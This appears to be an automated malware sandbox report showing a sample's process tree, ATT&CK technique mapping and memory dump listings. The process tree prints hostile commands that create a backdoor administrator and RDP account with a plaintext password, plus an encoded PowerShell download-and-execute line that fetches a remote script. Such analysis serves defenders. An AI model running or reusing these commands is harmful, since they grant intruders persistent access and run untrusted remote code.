        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
        8⤵
        
        PID:2864
  - - C:\Windows\SysWOW64\PING.EXE
      ping GFBFPSXA -n 30
      4⤵
      Runs ping.exe
      PID:1424

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:2340
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:508
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:4052

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 3WFaAX0N /add
1⤵
PID:2860
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 3WFaAX0N /add
  2⤵
  PID:3848
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 3WFaAX0N /add
    3⤵
    PID:3468

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:2812
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:4024
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:2260

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
1⤵
PID:2068
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
  2⤵
  PID:752
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
    3⤵
    PID:3512

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1296
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:3792

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 3WFaAX0N
1⤵
PID:3756
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 3WFaAX0N
  2⤵
  PID:2016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 3WFaAX0N
    3⤵
    PID:3788

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:3044
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:908

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2456
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:3816

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3948
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:1700

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1700-431-0x00000205AA4E8000-0x00000205AA4E9000-memory.dmp

Filesize
4KB

Download
memory/1700-402-0x00000205AA4E3000-0x00000205AA4E5000-memory.dmp

Filesize
8KB

Download
memory/1700-401-0x00000205AA4E0000-0x00000205AA4E2000-memory.dmp

Filesize
8KB

Download
memory/1700-405-0x00000205AA4E6000-0x00000205AA4E8000-memory.dmp

Filesize
8KB

Download
memory/2388-278-0x0000023EF61E3000-0x0000023EF61E5000-memory.dmp

Filesize
8KB

Download
memory/2388-309-0x0000023EF61E6000-0x0000023EF61E8000-memory.dmp

Filesize
8KB

Download
memory/2388-276-0x0000023EF61E0000-0x0000023EF61E2000-memory.dmp

Filesize
8KB

Download
memory/3048-128-0x0000028588000000-0x0000028588001000-memory.dmp

Filesize
4KB

Download
memory/3560-129-0x0000024197D20000-0x000002419836A000-memory.dmp

Filesize
6.3MB

Download
memory/3560-131-0x0000024197D20000-0x000002419836A000-memory.dmp

Filesize
6.3MB

Download
memory/3560-132-0x00000241BDAA0000-0x00000241BDAA2000-memory.dmp

Filesize
8KB

Download
memory/3560-133-0x00000241D8060000-0x00000241D8480000-memory.dmp

Filesize
4.1MB

Download
memory/3560-137-0x00000241BDAA6000-0x00000241BDAA7000-memory.dmp

Filesize
4KB

Download
memory/3560-135-0x00000241BDAA3000-0x00000241BDAA5000-memory.dmp

Filesize
8KB

Download
memory/3560-136-0x00000241BDAA5000-0x00000241BDAA6000-memory.dmp

Filesize
4KB

Download
memory/3960-275-0x00000267EB968000-0x00000267EB96A000-memory.dmp

Filesize
8KB

Download
memory/3960-236-0x00000267EB963000-0x00000267EB965000-memory.dmp

Filesize
8KB

Download
memory/3960-237-0x00000267EB966000-0x00000267EB968000-memory.dmp

Filesize
8KB

Download
memory/3960-235-0x00000267EB960000-0x00000267EB962000-memory.dmp

Filesize
8KB

Download
memory/4008-213-0x00000278CD7C6000-0x00000278CD7C8000-memory.dmp

Filesize
8KB

Download
memory/4008-218-0x00000278CD7C8000-0x00000278CD7CA000-memory.dmp

Filesize
8KB

Download
memory/4008-190-0x00000278CD7C3000-0x00000278CD7C5000-memory.dmp

Filesize
8KB

Download
memory/4008-189-0x00000278CD7C0000-0x00000278CD7C2000-memory.dmp

Filesize
8KB

Download
memory/4048-170-0x00000141C78D0000-0x00000141C78D1000-memory.dmp

Filesize
4KB

Download
memory/4048-172-0x00000141C7078000-0x00000141C7079000-memory.dmp

Filesize
4KB

Download
memory/4048-171-0x00000141C7C60000-0x00000141C7C61000-memory.dmp

Filesize
4KB

Download
memory/4048-164-0x00000141C7030000-0x00000141C7031000-memory.dmp

Filesize
4KB

Download
memory/4048-159-0x00000141C7076000-0x00000141C7078000-memory.dmp

Filesize
8KB

Download
memory/4048-150-0x00000141C7073000-0x00000141C7075000-memory.dmp

Filesize
8KB

Download
memory/4048-149-0x00000141C7070000-0x00000141C7072000-memory.dmp

Filesize
8KB

Download
memory/4048-147-0x00000141C74C0000-0x00000141C74C1000-memory.dmp

Filesize
4KB

Download
memory/4048-144-0x00000141AED40000-0x00000141AED41000-memory.dmp

Filesize
4KB

Download